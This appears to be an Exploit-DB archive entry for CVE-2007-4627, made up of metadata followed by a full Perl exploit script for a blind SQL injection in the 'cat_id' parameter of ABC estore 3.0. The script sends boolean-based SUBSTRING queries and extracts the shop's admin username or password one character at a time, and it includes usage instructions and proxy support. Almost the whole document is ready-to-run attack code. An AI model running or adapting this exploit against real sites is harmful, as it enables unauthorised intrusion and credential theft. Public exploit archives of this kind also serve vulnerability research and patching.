Exploit ABC estore 3.0 - 'cat_id' Blind SQL Injection

[Exploiter]

EDB-ID

4338

Проверка EDB

1. Пройдено

Автор

K1TK4T

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2007-4627

Дата публикации

2007-08-29

#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
 print "\n  |-------------------------------------------------|";
 print "\n  |               newhack[dot]org                   |";
 print "\n  |-------------------------------------------------|";
 print "\n  |   ABC estore 3.0 (cat_id) Blind SQL Injection   |";
 print "\n  |     Found by k1tk4t [k1tk4t(at)newhack.org]     |";
 print "\n  |   DNX Code [dnx(at)hackermail.com] | Modified   |";
 print "\n  |-------------------------------------------------|";
 print "\n[!] Vendor: http://www.webtoolup.com/";
 print "\n[!] Bug: in the index.php script, u can inject sql code in the (cat_id) parameter";
 print "\n[!] Need Subcategories Product for success exploit";
 print "\n[!] Usage: perl abcestore.pl [Host] [Path] <Options>";
 print "\n[!] Example: perl abcestore.pl 127.0.0.1 /shop/ -c 10 -o 1 -t store_config";
 print "\n[!] Options:";
 print "\n       -c [no]       Valid cat_id products with subcategories, default is 1";
 print "\n       -o [no]       1 = get username (default)";
 print "\n                     2 = get password";
 print "\n       -t [name]     Changes the admin table name, default is store_config";
 print "\n       -p [ip:port]  Proxy support";
 print "\n";
 exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $cat     = 1;
my $column  = "user";
my $table   = "store_config";
my %options = ();
GetOptions(\%options, "c=i", "o=i", "t=s", "p=s");

print "[!] Exploiting...\n";

if($options{"c"}) { $cat = $options{"c"}; }
if($options{"o"} && $options{"o"} == 2) { $column = "pass"; }
if($options{"t"}) { $table = $options{"t"}; }

syswrite(STDOUT, "[!] Data : ", 12);

for(my $i = 1; $i <= 32; $i++)
{
 my $found = 0;
 my $h = 48;
 while(!$found && $h <= 57)
 {
   if(istrue2($host, $path, $table, $i, $h))
   {
     $found = 1;
     syswrite(STDOUT, chr($h), 1);
   }
   $h++;
 }
 if(!$found)
 {
   $h = 97;
   while(!$found && $h <= 122)
   {
     if(istrue2($host, $path, $table, $i, $h))
     {
       $found = 1;
       syswrite(STDOUT, chr($h), 1);
     }
     $h++;
   }
 }
}

print "\n[!] Exploit done\n";

sub istrue2
{
 my $host  = shift;
 my $path  = shift;
 my $table = shift;
 my $i     = shift;
 my $h     = shift;

 my $ua = LWP::UserAgent->new;
 my $url = "http://".$host.$path."index.php?cat_id=".$cat."%20AND%20SUBSTRING((SELECT%20".$column."%20FROM%20".$table."%20LIMIT%200,1),".$i.",1)=CHAR(".$h.")";

 if($options{"p"})
 {
   $ua->proxy('http', "http://".$options{"p"});
 }

 my $response = $ua->get($url);
 my $content = $response->content;
 my $regexp = "Subcategories";

 if($content =~ /$regexp/)
 {
   return 1;
 }
 else
 {
   return 0;
 }
}

# milw0rm.com [2007-08-29]